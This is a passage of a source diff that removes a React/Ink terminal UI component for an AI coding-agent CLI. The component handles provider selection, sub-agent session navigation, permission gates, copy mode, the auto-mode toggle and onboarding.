to delete agent profile {id}: {error}", - { id, error: err instanceof Error ? err.message : String(err) }, - ); - } -} - -export type AppProps = { - eventEmitter: EventEmitter; - agent: Agent; - sessionTitle: string; - initialModel: string; - initialProvider: string; - initialReasoningEffort?: ReasoningEffort; - providers: ProviderCatalogEntry[]; - globalSettingsPath: string; - globalDefaultProvider?: string; - cwd: string; - initialTask?: string; - skipInitialTask?: boolean; - initialContentBlocks?: ContentBlockData[]; - getSessionId?: () => string; - initialHooks?: LifecycleHookStatus[]; - onToggleHook?: (hookId: string, enabled: boolean) => void; - onAgentError?: (err: unknown) => void; - onInterrupt?: () => void; - onNewSession?: () => void; - onRenameSession?: (name: string) => string | undefined; - permissionsAdmin?: PermissionsAdmin; - pluginsAdmin?: PluginsAdmin; - profile?: string; - initialAuto?: boolean; - onToggleAuto?: (value: boolean) => void; - onSubAgentProviderChange?: (provider: SubAgentProvider) => void; - // Live catalog + runtime settings for task tier resolution (OAuth / mid-session edits). - onSubAgentRuntimeResolutionChange?: (args: { - catalog: readonly import("../config/index.js").ProviderCatalogEntry[]; - settings: Settings; - }) => void; - onAgentProfilesChange?: (profiles: AgentProfile[]) => void; - onStartWorkflow?: (name: string) => string; - onToggleCapability?: (name: CapabilityName) => void; - /** Skills loaded for this session — listed in the top-of-scrollback banner. */ - loadedSkills?: readonly { name: string }[]; - /** Active (enabled) plugin names — listed in the top-of-scrollback banner. */ - activePlugins?: readonly string[]; - initialWorkflowStatus?: WorkflowStatus; - initialProfiles?: AgentProfile[]; - profilesDir?: string; - // The original settings from disk, used to preserve non-provider fields - // when the provider catalog is persisted. - initialSettings?: Settings; - initialTiers?: Partial>; - onChangeCompactionMode?: (mode: CompactionMode) => Promise; - onChangeMaxConcurrentSubAgents?: (limit: number) => Promise; - initialSessionMode?: import("../config/session-mode.js").SessionMode; - initialSavedGlobalSessionMode?: import("../config/session-mode.js").SessionMode; - initialSavedLocalSessionMode?: import("../config/session-mode.js").SessionMode; - onChangeSessionMode?: ( - mode: import("../config/session-mode.js").SessionMode, - scope: "global" | "local", - ) => Promise; - // The `onboarded` flag read from the GLOBAL settings file specifically (never - // a --config/project file). This is global user state: it decides whether the - // welcome animation plays on first run and is the single source of truth for - // "first run", independent of which settings file --config pointed resolution at. - globallyOnboarded?: boolean; - // The TRUE global settings file path (never a --config/project file). The - // `onboarded` flag is always written here. Defaults to globalSettingsPath. - globalOnboardingPath?: string; - - // Emits "scrollUp"/"scrollDown" for mouse-wheel events, which are stripped - // from stdin before they reach useInput (see createFilteredStdin). - mouseEvents?: EventEmitter; - // Inspectable child sessions for the Agents strip and enter-session UI. - subAgentSessions?: SubAgentSessionStore; - /** Goal mode operator surface. */ - goalApi?: { - get: () => import("../agent/goal.js").GoalSnapshot | null; - set: ( - condition: string, - opts?: import("../agent/goal.js").GoalSetOpts, - ) => import("../agent/goal.js").GoalSnapshot; - pause: () => import("../agent/goal.js").GoalSnapshot | null; - resume: ( - opts?: import("../agent/goal.js").GoalResumeOpts, - ) => import("../agent/goal.js").GoalSnapshot | null; - clear: () => void; - }; - /** One-line passive notice shown once in the top-of-scrollback banner on - * the first run telemetry is active. Undefined/empty renders nothing. */ - telemetryNotice?: string; - /** - * Fail-open settings diagnostics (unknown keys, invalid JSON, stripped - * credentials). Shown as a dismissible notice on the main screen. - */ - settingsDiagnostics?: readonly { - path: string; - message: string; - fix: string; - }[]; - /** Markdown release notes shown once after upgrade in the session banner. */ - whatsNewMarkdown?: string; - /** Whether anonymous telemetry is currently enabled, for the settings toggle. */ - telemetryEnabled?: boolean; - /** Persists the settings Telemetry on|off toggle to global settings. */ - onChangeTelemetryEnabled?: (enabled: boolean) => void; - /** - * When true, freeze each tool's wall-clock budget while its permission - * prompt is open. When false, the budget keeps ticking and a timeout - * dismisses the prompt. Resolved by the runner from settings. - */ - waitForApproval: boolean; - /** Persists the wait-for-approval toggle to global settings (tools.waitForApproval). */ - onChangeWaitForApproval?: (value: boolean) => Promise; - /** Fired once, on the first interactively submitted prompt of the session. - * The runner uses this as the affirmative action that activates telemetry - * held for first-run disclosure; auto-sent initial tasks never count. */ - onFirstUserMessage?: () => void; -}; - -// Center a selection in a fixed-height window over a copy-target list. -// Returns the visible slice and the absolute index of its first item so -// the caller can mark the selected row without re-scanning the full list. -function windowedCopyTargets( - items: readonly CopyTarget[], - selectedIndex: number, - windowSize = 6, -): { window: readonly CopyTarget[]; start: number } { - const start = Math.max( - 0, - Math.min(selectedIndex - Math.floor(windowSize / 2), Math.max(0, items.length - windowSize)), - ); - return { window: items.slice(start, start + windowSize), start }; -} - -export function App({ - eventEmitter, - agent, - sessionTitle, - initialModel, - initialProvider, - initialReasoningEffort, - providers, - globalSettingsPath, - globalDefaultProvider: initialGlobalDefaultProvider, - cwd, - initialTask = "", - skipInitialTask = false, - initialContentBlocks = [], - getSessionId, - initialHooks = [], - onToggleHook, - onAgentError, - onInterrupt, - onNewSession, - onRenameSession, - permissionsAdmin, - pluginsAdmin, - profile, - initialAuto = true, - onToggleAuto, - onSubAgentProviderChange, - onSubAgentRuntimeResolutionChange, - onAgentProfilesChange, - onStartWorkflow, - onToggleCapability, - loadedSkills, - activePlugins, - initialWorkflowStatus, - initialProfiles = [], - profilesDir, - initialSettings, - initialTiers, - onChangeCompactionMode, - onChangeMaxConcurrentSubAgents, - initialSessionMode = "orchestrator", - initialSavedGlobalSessionMode, - initialSavedLocalSessionMode, - onChangeSessionMode, - globallyOnboarded = false, - globalOnboardingPath, - mouseEvents, - subAgentSessions, - goalApi, - telemetryNotice, - settingsDiagnostics, - whatsNewMarkdown, - telemetryEnabled = false, - onChangeTelemetryEnabled, - waitForApproval: waitForApprovalProp, - onChangeWaitForApproval, - onFirstUserMessage, -}: AppProps): ReactNode { - // Tracks the live model so the stream's cost meter prices each turn at the - // active model's rate even after a mid-session switch. Updated once model is - // resolved from the provider manager below. - const modelRef = useRef(initialModel); - const requestStopRef = useRef<() => void>(() => undefined); - const onCredentialFailureRef = useRef<() => void>(() => {}); - const state = useAgentStream( - eventEmitter, - initialHooks, - () => modelRef.current, - () => requestStopRef.current(), - initialContentBlocks, - () => onCredentialFailureRef.current(), - ); - const stateRef = useRef(state); - stateRef.current = state; - const mcpStatus = useMCPStatus(eventEmitter); - const { exit } = useApp(); - const { columns, rows } = useTerminalSize(); - // First run is determined solely by the global `onboarded` flag, never by - // initialSettings (which may be a --config/project file). The animation still - // uses this to vary its copy for first-time users, but it now runs on every start. - const isFirstTime = !globallyOnboarded; - const [onboardingDone, setOnboardingDone] = useState(false); - const [inputValue, setInputValue] = useState(""); - const [sentHistoryBrowse, setSentHistoryBrowse] = useState(() => createSentHistoryBrowse([])); - const [hookPanelOpen, setHookPanelOpen] = useState(false); - const [thinkingExpanded, setThinkingExpanded] = useState(false); - const [expandedTools, setExpandedTools] = useState>(() => new Set()); - const [verbose, setVerbose] = useState(false); - const [exitConfirmOpen, setExitConfirmOpen] = useState(false); - const [helpOpen, setHelpOpen] = useState(false); - const [tasksExpanded, setTasksExpanded] = useState(false); - const [taskFullScreenOpen, setTaskFullScreenOpen] = useState(false); - // Tick so Agents strip / enter-view re-render when the session store mutates. - const [sessionsTick, setSessionsTick] = useState(0); - const [agentsNavOpen, setAgentsNavOpen] = useState(false); - const [agentsNavIndex, setAgentsNavIndex] = useState(0); - const [enteredSessionId, setEnteredSessionId] = useState(null); - const [agentModalOpen, setAgentModalOpen] = useState(false); - const [agentModalUsage, setAgentModalUsage] = useState(null); - const [goSubscriptionLabel, setGoSubscriptionLabel] = useState(undefined); - const [permissionsOpen, setPermissionsOpen] = useState(false); - const [settingsOpen, setSettingsOpen] = useState(false); - // Mount-only seeds from runner props. Runner does not re-render App when these - // change; Settings updates flow through the local setters + onChange* callbacks - // that mutate runner-held live values. No prop→state sync effect needed. - const [liveTelemetryEnabled, setLiveTelemetryEnabled] = useState(telemetryEnabled); - const [waitForApproval, setWaitForApproval] = useState(waitForApprovalProp); - const [compactionMode, setCompactionMode] = useState( - initialSettings?.compactionMode ?? "llm", - ); - const [maxConcurrentSubAgents, setMaxConcurrentSubAgents] = useState(() => - resolveMaxConcurrentSubAgents(initialSettings), - ); - const [sessionMode] = useState(initialSessionMode); - const [savedGlobalSessionMode, setSavedGlobalSessionMode] = useState( - initialSavedGlobalSessionMode, - ); - const [savedLocalSessionMode, setSavedLocalSessionMode] = useState( - initialSavedLocalSessionMode, - ); - const [pluginsOpen, setPluginsOpen] = useState(false); - const [permissionEntries, setPermissionEntries] = useState([]); - const [commandMessage, setCommandMessage] = useState(null); - // Seed from fail-open settings load so unknown/invalid keys never crash - // startup — the operator sees the problem and fix on the main screen. - const [settingsNotice, setSettingsNotice] = useState(() => { - if (settingsDiagnostics === undefined || settingsDiagnostics.length === 0) return null; - return settingsDiagnostics - .map((d) => `Settings warning: ${d.message}\n Fix: ${d.fix}`) - .join("\n"); - }); - // Tracks the live auto-mode flag so SHIFT+TAB can toggle (not only enable). - // Seeded from config.auto / --no-auto; gate is updated via onToggleAuto. - const [autoEnabled, setAutoEnabled] = useState(initialAuto); - const [copyModeIndex, setCopyModeIndex] = useState(null); - const [workflowStatus, setWorkflowStatus] = useState( - initialWorkflowStatus ?? EMPTY_WORKFLOW_STATUS, - ); - const [goalSnapshot, setGoalSnapshot] = useState( - () => goalApi?.get() ?? null, - ); - const pendingQueueRef = useRef([]); - const tryDrainQueuedMessageRef = useRef<() => void>(() => {}); - const sendMessageRef = useRef<(message: OutboundUserMessage) => void>(null!); - const { pendingImages, setPendingImages, handlePasteImage, handlePasteText } = - useImageAttach({ cwd, setCommandMessage }); - - const providerManager = useProviderManager({ - initialProvider, - initialModel, - ...(initialReasoningEffort !== undefined ? { initialReasoningEffort } : {}), - initialCatalog: providers, - initialGlobalDefaultProvider, - ...(initialSettings !== undefined ? { initialSettings } : {}), - cwd, - globalSettingsPath, - getSessionId: () => getSessionId?.() ?? "session", - agent, - onMessage: setCommandMessage, - ...(initialTiers !== undefined ? { initialTiers } : {}), - ...(onSubAgentProviderChange !== undefined ? { onSelectionChange: onSubAgentProviderChange } : {}), - ...(onSubAgentRuntimeResolutionChange !== undefined - ? { onRuntimeResolutionChange: onSubAgentRuntimeResolutionChange } - : {}), - }); - const { - provider, - model, - reasoningEffort, - providerCatalog, - applySelection, - persistSelection, - upsertProvider, - deleteProvider, - tiers, - saveTierAssignment, - cycleTierMode, - clearTier, - removeTierLegAt, - moveTierLegAt, - registerCodexProvider, - registerXaiProvider, - removeCodexProvider, - removeXaiProvider, - recentModels, - favoriteModels, - toggleFavorite, - } = providerManager; - // Safe to mutate during render: the ref is only read later by the faremeter's - // pricing resolver at usage-event time, never during this render pass. - modelRef.current = model; - - // Tier slash commands (/fast etc.) appear in the menu only for tiers the user - // has actually assigned, so the list tracks live tier state rather than the - // static PROVIDER_TIERS enum. - useEffect(() => { - setConfiguredTiers(tiers); - }, [tiers]); - - // OpenCode Go subscription usage in the status bar when Go is the active - // provider. Failures (auth, network, missing endpoint) clear the label so the - // bar degrades cleanly rather than showing an error string. - useEffect(() => { - if (!isOpenCodeGoProviderId(provider)) { - setGoSubscriptionLabel(undefined); - return; - } - const entry = providerCatalog.find((p) => p.name === provider); - const apiKey = entry?.apiKey; - if (apiKey === undefined || apiKey.length === 0) { - setGoSubscriptionLabel(undefined); - return; - } - const controller = new AbortController(); - void fetchGoUsage(apiKey, { signal: controller.signal }).then((usage) => { - if (controller.signal.aborted) return; - if (usage.status === "ok") { - setGoSubscriptionLabel(formatGoUsage(usage)); - } else { - setGoSubscriptionLabel(undefined); - } - }); - return () => controller.abort(); - }, [provider, providerCatalog]); - - const { - unauthedProviders, - setUnauthedProviders, - loginModal, - setLoginModal, - autoLoginProfile, - setAutoLoginProfile, - codexProfileNames, - xaiProfileNames, - refreshAuthState, - promptCodexRelogin, - promptXaiRelogin, - switchToCodexProfile, - switchToXaiProfile, - removeCodexProfileEverywhere, - removeXaiProfileEverywhere, - } = useProviderAuth({ - provider, - providerCatalog, - registerCodexProvider, - registerXaiProvider, - removeCodexProvider, - removeXaiProvider, - setCommandMessage, - onCredentialFailureRef, - }); - - const [profiles, setProfiles] = useState(initialProfiles); - - const saveProfile = (profile: AgentProfile): { ok: true } | { ok: false; error: string } => { - if (profilesDir === undefined) return { ok: false, error: "No profiles directory configured" }; - const next = upsertAgentProfile(profiles, profile); - setProfiles(next); - onAgentProfilesChange?.(next); - void writeProfileFile(profilesDir, profile); - return { ok: true }; - }; - - const deleteProfile = (id: string): void => { - if (profilesDir === undefined) return; - const next = removeAgentProfile(profiles, id); - setProfiles(next); - onAgentProfilesChange?.(next); - void deleteProfileFile(profilesDir, id); - }; - - const approvalActivationBlocked = - exitConfirmOpen || - helpOpen || - hookPanelOpen || - agentModalOpen || - loginModal !== null || - permissionsOpen || - settingsOpen || - pluginsOpen || - copyModeIndex !== null || - agentsNavOpen || - enteredSessionId !== null; - const gates = useGates({ - eventEmitter, - setGatePending: state.setGatePending, - activationBlocked: approvalActivationBlocked, - }); - - useEffect(() => { - const onWorkflow = (state: WorkflowControllerState) => { - setWorkflowStatus(state.current); - }; - eventEmitter.on("workflow", onWorkflow); - return () => { eventEmitter.off("workflow", onWorkflow); }; - }, [eventEmitter]); - - useEffect(() => { - const onGoal = (snap: import("../agent/goal.js").GoalSnapshot | null) => { - setGoalSnapshot(snap); - }; - eventEmitter.on("goal", onGoal); - return () => { eventEmitter.off("goal", onGoal); }; - }, [eventEmitter]); - - const { - agentSessions, - browseSessions, - agentsNavList, - agentsNavIndexClamped, - enteredSession, - activeSubAgents, - activeSubAgentsRef, - queuedCount, - setQueuedCount, - hasRunningSubAgentSessions, - steerOnEnter, - agentsStripVisible, - agentsStripScrollWindow, - agentsStripRows, - } = useAgentsStrip({ - eventEmitter, - subAgentSessions, - sessionsTick, - setSessionsTick, - state, - stateRef, - sendMessageRef, - pendingQueueRef, - tryDrainQueuedMessageRef, - agentsNavOpen, - agentsNavIndex, - enteredSessionId, - }); - const subAgentChromeRows = agentsStripRows; - - const { goalActive, goalPhase, showAcceptance, workPrimary } = resolveGoalChrome({ goalSnapshot }); - // Default-expand Work when entering implementing; Ctrl+T can still collapse. - // Adjust during render so the panel opens in the same paint as the phase flip. - const wasWorkPrimary = useRef(false); -if (workPrimary && !wasWorkPrimary.current) { - setTasksExpanded(true); - } - wasWorkPrimary.current = workPrimary; - // Drop the /goal one-shot once Goal chrome is live so it does not stack on - // the brief / Work checklist (and blow the reserved chrome rows). - useEffect(() => { - if (!goalActive || commandMessage === null) return; - if (commandMessage.startsWith("Goal set.")) { - setCommandMessage(null); - } - }, [goalActive, commandMessage]); - const workExpanded = tasksExpanded; - const goalChromeRows = goalChromeRowCount({ - goalActive, - showAcceptance, - criteriaCount: goalSnapshot?.criteria.length ?? 0, - }); - const taskChromeRows = taskChromeRowCount({ - hasActiveTasks: hasActiveTasks(state.tasks), - taskCount: state.tasks.length, - workExpanded, - }); - const pluginChromeRows = pluginChromeRowCount({ pluginsOpen, pluginsAdmin }); - const progressWorkflow = resolveInlineWorkflowChip(workflowStatus); - const progressChromeRows = progressChromeRowCount({ - active: state.isProcessing, - hasWorkflow: progressWorkflow !== undefined, - }); - - const extraChromeRows = extraChromeRowCount({ - mcpNeedsAuthCount: mcpStatus.needsAuth.length, - commandMessageRows: - commandMessage === null ? 0 : Math.max(1, commandMessage.split("\n").length), - // Multi-line banner: 2 rows per diagnostic + Esc hint; 0 when dismissed. - settingsNoticeRows: - settingsNotice === null - ? 0 - : settingsNoticeRowCount(settingsDiagnostics?.length ?? 0), - goalChromeRows, - taskChromeRows, - pluginChromeRows, - quotaErrorPresent: state.quotaError !== null, - inferenceRetryPresent: state.inferenceRetry !== null, - subAgentChromeRows, - progressChromeRows, - inputValue, - columns, - rows, - }); - - const activePermission = gates.activeApproval?.kind === "permission" - ? gates.activeApproval.request - : null; - const activeOperator = gates.activeApproval?.kind === "operator" - ? { question: gates.activeApproval.question, options: gates.activeApproval.options } - : null; - const layout = useLayoutGeometry({ - columns, - rows, - sidebarOpen: false, - gateContext: { - pendingPermission: activePermission, - pendingOperator: activeOperator, - }, - modalContext: { - helpOpen, - hookPanelOpen, - exitConfirmOpen, - agentModalOpen, - permissionsOpen: permissionsOpen || settingsOpen, - permissionEntryCount: permissionEntries.length, - }, - hookCount: state.hookCount, - providerCatalog, - extraChromeRows, - }); - - const completedAgentsLabel = formatCompletedAgentsLabel(subAgentSessions?.list() ?? []); - const { leftWidth, visibleRows, effectiveOverlayRows, permissionsOverlayRows } = layout; - // Text wraps and renders inside the gutter so prose never touches the edges. - const contentWidth = Math.max(8, leftWidth - TEXT_GUTTER * 2); - - // Cleared when layout width or thinking expand change — those affect all blocks. - // Verbose no longer invalidates the cache: each block already keys collapsed vs - // expanded layouts separately, and Ctrl+O only expands a viewport-local subset. - const { - eventLogLines, - scrollMaxOffset, - scroll, - enteredScroll, - activeScroll, - lastToolId, - viewportExpandedIds, - setViewportExpandedIds, - prefixLineCount, - incrementalLinesRef, - baseLinesRef, - } = useTranscriptLayout({ - state, - contentWidth, - thinkingExpanded, - expandedTools, - verbose, - visibleRows, - loadedSkills, - activePlugins, - cwd, - telemetryNotice, - whatsNewMarkdown, - enteredSession, - }); - - // Scanning every block on each render walks the whole transcript on keystrokes - // and scroll ticks, so the stream state tracks this incrementally instead. - const latestUserMessageInLog = state.latestUserMessageLogged; - const headerLatestUserMessage = latestUserMessageInLog ? "" : state.latestUserMessage; - - const modeColor = color("warning"); - - // Input is inert while any overlay, modal, or gate is capturing keys, so - // keystrokes (and Enter) never leak into the prompt underneath. - const inputActive = !( - exitConfirmOpen || - helpOpen || - gates.gateOpen || - hookPanelOpen || - agentModalOpen || - loginModal !== null || - permissionsOpen || - settingsOpen || - pluginsOpen || - copyModeIndex !== null || - // Agents navigation and the entered child view own Enter and the arrows; - // leaving the prompt active would submit/interrupt the parent draft or edit - // it while the operator is only observing. - agentsNavOpen || - enteredSessionId !== null - ); - - const copyModeOpen = copyModeIndex !== null; - // Frozen at the moment copy mode opens — copyTargets builds an LCS diff for - // every edit block in history, so recomputing it as stream drains arrive - // stalls deep chats and shifts the selection out from under the user. - const copyTargetsRef = useRef([]); - const copyTargetList = copyModeOpen ? copyTargetsRef.current : []; - - const [, forceRender] = useState(0); - - const { - sendMessage, - requestStop, - startNewSessionRef, - prepareOutboundMessage, - handleSend, - handleInterrupt, - sendAbortRef, - sendCounterRef, - lastSentMessageRef, - quotaAutoRetryFiredRef, - } = useMessagePipeline({ - cwd, - agent, - getSessionId, - exit, - onFirstUserMessage, - onInterrupt, - onNewSession, - onAgentError, - skipInitialTask, - initialTask, - state, - stateRef, - scroll, - gates, - subAgentSessions, - activeSubAgentsRef, - hasRunningSubAgentSessions, - pendingQueueRef, - setQueuedCount, - pendingImages, - setPendingImages, - setCommandMessage, - setSentHistoryBrowse, - promptCodexRelogin, - promptXaiRelogin, - setExpandedTools, - setInputValue, - setEnteredSessionId, - setAgentsNavOpen, - setAgentsNavIndex, - forceRender, - sendMessageRef, - requestStopRef, - }); - - const { getCostSummary, commandContext } = useCommandContext({ - provider, - providerCatalog, - modelRef, - state, - mcpServers: mcpStatus.servers, - startNewSessionRef, - onStartWorkflow, - onRenameSession, - goalApi, - sendMessageRef, - }); - - // Watchdog: if the run stays in the awaiting-response gap beyond STALL_TIMEOUT_MS - // with no new content, abort the in-flight request and surface a message so the - // user knows they need to retry rather than waiting indefinitely. - useEffect(() => { - if (state.status !== "running") return; - const check = () => { - if (shouldAbortForStall({ - status: stateRef.current.status, - awaitingResponse: stateRef.current.awaitingResponse, - lastActivityAt: stateRef.current.lastActivityAt, - nowMs: Date.now(), - stallTimeoutMs: STALL_TIMEOUT_MS, - isProcessing: stateRef.current.isProcessing, - streamingType: stateRef.current.streamingType, - })) { - applyStallRecovery({ - abortInFlight: (reason) => sendAbortRef.current?.abort(reason), - setCommandMessage, - }); - } - }; - const handle = setInterval(check, 1000); - return () => clearInterval(handle); - // `state` is a stable mutable object — only the reactive scalar fields matter here. - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [state.status, state.awaitingResponse]); - - useQuotaRetry({ state, stateRef, lastSentMessageRef, quotaAutoRetryFiredRef, sendMessageRef }); - - // Spin for the full duration of a send cycle (markRunning → connector.reply). - // The label tracks the live phase so "Thinking…" is reserved for reasoning - // chunks, not tool execution or response waits. - const awaitingResponse = state.status === "running" && state.awaitingResponse; - const spinnerTiming = useSpinner(state.isProcessing, sendCounterRef.current); - const spinnerLabel = resolveSessionSpinnerLabel({ - isProcessing: state.isProcessing, - status: state.status, - awaitingResponse, - currentToolName: state.currentToolName, - streamingType: state.streamingType, - }); - - // Persistent status bar segment: refreshes on an interval, never - // blocks render on the git process. - const gitBranch = useGitBranch(cwd); - // Ambient verb shown beside the steer hint while the agent runs. - const revolvingVerb = useRevolvingVerb(state.isProcessing, sendCounterRef.current); - - useKeymap( - { - exitConfirmOpen, - // The permissions overlay owns input through its own useInput, exactly - // like the help overlay, so block the global keymap the same way. - helpOpen: helpOpen || permissionsOpen || settingsOpen || pluginsOpen, - gateOpen: gates.gateOpen, - agentModalOpen: agentModalOpen || loginModal !== null, - hookPanelOpen, - taskFullScreenOpen, - hasInput: inputValue.length > 0, - inputFocused: inputActive, - copyModeOpen, - agentsNavOpen, - enteredSession: enteredSession !== undefined, - settingsNoticePresent: settingsNotice !== null, - commandPaletteOpen: inputValue.startsWith("/") && ( - !inputValue.includes(" ") || - listCommands().some( - (c) => c.subcommands !== undefined && inputValue.startsWith(`/${c.name} `), - ) - ), - // "stopping" is deliberately excluded: a stop is already in flight, so the - // next Ctrl+C / double-Esc should escalate to the exit path rather than - // re-issuing a no-op stop and trapping the user while the run drains. - isRunning: - state.status === "running" - || state.status === "blocked" - || state.quotaError !== null - || state.inferenceRetry !== null, - }, - { - clearInput: () => setInputValue(""), - requestExit: () => setExitConfirmOpen(true), - requestStop, - toggleHookPanel: () => setHookPanelOpen((open) => !open), - selectHook: (index) => { - const hook = state.hooks[index]; - if (hook !== undefined) { - onToggleHook?.(hook.id, !hook.enabled); - } - }, - closeHookPanel: () => setHookPanelOpen(false), - dismissSettingsNotice: () => setSettingsNotice(null), - scrollUp: () => activeScroll.scrollUp(visibleRows), - scrollDown: () => activeScroll.scrollDown(visibleRows), - scrollToBottom: () => activeScroll.scrollToBottom(), - toggleVerbose: () => { - if (verbose) { - setVerbose(false); - setViewportExpandedIds(new Set()); - return; - } - // Seed from the current (collapsed) layout so the first verbose paint - // expands the viewport set instead of flashing a collapsed frame. - const layout = incrementalLinesRef.current ?? baseLinesRef.current; - if (layout !== undefined) { - setViewportExpandedIds(resolveViewportExpandIds({ - blocks: layout.blocks, - blockLineStarts: layout.blockLineStarts, - lineCount: layout.lines.length, - prefixLineCount, - visibleRows, - scrollOffset: scroll.scrollOffset, - atBottom: scroll.atBottom, - previousIds: new Set(), - })); - } - setVerbose(true); - }, - toggleTaskPanel: () => setTasksExpanded((open) => !open), - toggleThinking: () => setThinkingExpanded((e) => !e), - toggleLastTool: () => { - if (lastToolId !== null) { - const id = lastToolId; - setExpandedTools((prev) => { - const next = new Set(prev); - if (next.has(id)) next.delete(id); - else next.add(id); - return next; - }); - } - }, - toggleTaskSidebar: () => { - setTaskFullScreenOpen((open) => !open); - }, - toggleHelp: () => setHelpOpen((open) => !open), - copyMcpUrl: () => { - const first = mcpStatus.needsAuth[0]; - if (first !== undefined) { - writeClipboard(first.url); - setCommandMessage(`Copied authorization URL for ${first.name}`); - } - }, - enterCopyMode: () => { - // A pending MCP auth URL is the one thing worth copying instantly. - const first = mcpStatus.needsAuth[0]; - if (first !== undefined) { - writeClipboard(first.url); - setCommandMessage(`Copied authorization URL for ${first.name}`); - return; - } - const targets = copyTargets(state.contentBlocks); - if (targets.length === 0) { - setCommandMessage("Nothing to copy yet"); - return; - } - copyTargetsRef.current = targets; - setCopyModeIndex(targets.length - 1); - }, - copyModePrev: () => setCopyModeIndex((i) => (i === null ? null : Math.max(0, i - 1))), - copyModeNext: () => setCopyModeIndex((i) => (i === null ? null : Math.min(copyTargetList.length - 1, i + 1))), - copyModeConfirm: () => { - const target = copyModeIndex === null ? undefined : copyTargetList[copyModeIndex]; - if (target !== undefined) { - writeClipboard(target.text); - setCommandMessage(`Copied ${target.label}`); - } - setCopyModeIndex(null); - }, - copyModeCopyAll: () => { - writeClipboard(transcriptMarkdown(state.contentBlocks)); - setCommandMessage("Copied the conversation as markdown"); - setCopyModeIndex(null); - }, - copyModeCancel: () => setCopyModeIndex(null), - cycleMode: () => { - const next = !autoEnabled; - setAutoEnabled(next); - onToggleAuto?.(next); - setCommandMessage( - next - ? "Auto mode on — workspace writes and unconstrained shell run without prompts; installs, recursive rm, worktree changes, sensitive paths, and opaque wrappers still ask. SHIFT+TAB toggles." - : "Auto mode off — consequential actions ask for approval. SHIFT+TAB toggles.", - ); - }, - enterAgentsNav: () => { - if (browseSessions.length === 0) { - // Live stream can still paint a ghost Agents row after a retry or a - // missed tool.done; the session store is the source of truth for nav. - setCommandMessage( - activeSubAgents.length > 0 - ? "No enterable sub-agent sessions (strip shows live progress only) — stop the run or wait for the task tool to finish" - : "No sub-agent sessions yet — spawn with task first", - ); - return; - } - // Prefer currently entered, else first running, else top of list. - const preferred = - enteredSessionId !== null - ? browseSessions.findIndex((s) => s.id === enteredSessionId) - : browseSessions.findIndex((s) => s.status === "running"); - setAgentsNavIndex(preferred >= 0 ? preferred : 0); - setAgentsNavOpen(true); - }, - agentsNavPrev: () => - setAgentsNavIndex((i) => Math.max(0, Math.min(i, browseSessions.length - 1) - 1)), - agentsNavNext: () => - setAgentsNavIndex((i) => Math.min(Math.max(0, browseSessions.length - 1), i + 1)), - agentsNavConfirm: () => { - const pick = browseSessions[agentsNavIndexClamped]; - if (pick === undefined) { - setAgentsNavOpen(false); - return; - } - const chrome = enterObserveChrome(pick.id, pick.agentId, pick.description); - setEnteredSessionId(chrome.enteredSessionId); - setAgentsNavOpen(false); - setCommandMessage(chrome.commandMessage); - }, - agentsNavCancel: () => setAgentsNavOpen(false), - agentsNavKill: () => { - const targetId = - enteredSessionId !== null - ? enteredSessionId - : browseSessions[agentsNavIndexClamped]?.id; - if (targetId === undefined || subAgentSessions === undefined) { - setCommandMessage("No sub-agent to cancel"); - return; - } - const target = subAgentSessions.get(targetId); - if (target === undefined) { - setCommandMessage("No sub-agent to cancel"); - return; - } - if (target.status !== "running") { - setCommandMessage( - `Sub-agent already ${target.status}: ${target.agentId}: ${target.description}`, - ); - return; - } - const cancelled = subAgentSessions.cancel(targetId, "Cancelled from Agents strip"); - setCommandMessage( - cancelled - ? `Cancelled ${target.agentId}: ${target.description}` - : `Could not cancel ${target.agentId}: ${target.description}`, - ); - forceRender((n) => n + 1); - }, - exitEnteredSession: () => { - // Clear focus and command toast together so leave-observe never leaves - // a sticky toast on the parent transcript. - const chrome = leaveObserveChrome(); - setEnteredSessionId(chrome.enteredSessionId); - setCommandMessage(chrome.commandMessage); - }, - }, - ); - - useMouseScroll( - mouseEvents, - (ticks) => activeScroll.scrollUp(ticks * 3), - (ticks) => activeScroll.scrollDown(ticks * 3), - ); - - const { handleCommand, refreshPermissions, handleRevokePermission } = useCommandDispatch({ - handleSend, - setCommandMessage, - providerCatalog, - tiers, - applySelection, - reasoningEffort, - setTasksExpanded, - permissionsAdmin, - setPermissionEntries, - setPermissionsOpen, - setSettingsOpen, - pluginsAdmin, - setPluginsOpen, - setHelpOpen, - setAgentModalOpen, - refreshAuthState, - provider, - setAgentModalUsage, - setLoginModal, - handlePasteImage, - onStartWorkflow, - sendMessage, - }); - - const handleOnboardingComplete = () => { - setOnboardingDone(true); - if (!isFirstTime) return; - - // `runOnboarding` (src/tui/onboarding.tsx) is the single owner of first-run - // provider setup. Only prompt for a provider here when none is configured — - // never re-ask a user who just configured one through runOnboarding. - if (providers.length === 0) { - setAgentModalOpen(true); - } - - // Stamp the `onboarded` flag into the GLOBAL settings file. markOnboarded - // reads the file fresh — it never spreads `initialSettings`, which carries - // synthetic OAuth provider entries with short-lived access tokens (see - // providerCatalogToSettings) that must never be written to settings.json. - void markOnboarded(globalOnboardingPath ?? globalSettingsPath).catch((err: unknown) => { - getLogger([LOG_NAMESPACE_ROOT, "tui", "onboarding"]).error( - "Failed to persist onboarded flag: {error}", - { error: err instanceof Error ? err.message : String(err) }, - ); - }); - }; - - if (!onboardingDone) { - return ( - - ); - } - - // Work / Acceptance chrome: order flips by goal phase (implementing = Work on top). - const workBlock = hasActiveTasks(state.tasks) ? ( - - - - ) : null; - const acceptBlock = - goalActive && goalSnapshot !== null ? ( - - - - ) : null; - const workAcceptBlocks = workPrimary ? ( - <> - {workBlock} - {acceptBlock} - - ) : ( - <> - {acceptBlock} - {workBlock} - - ); - - const copyModeSelection = copyModeIndex ?? 0; - const { window: copyModeWindow, start: copyModeWindowStart } = windowedCopyTargets( - copyTargetList, - copyModeSelection, - ); - - return ( - - -
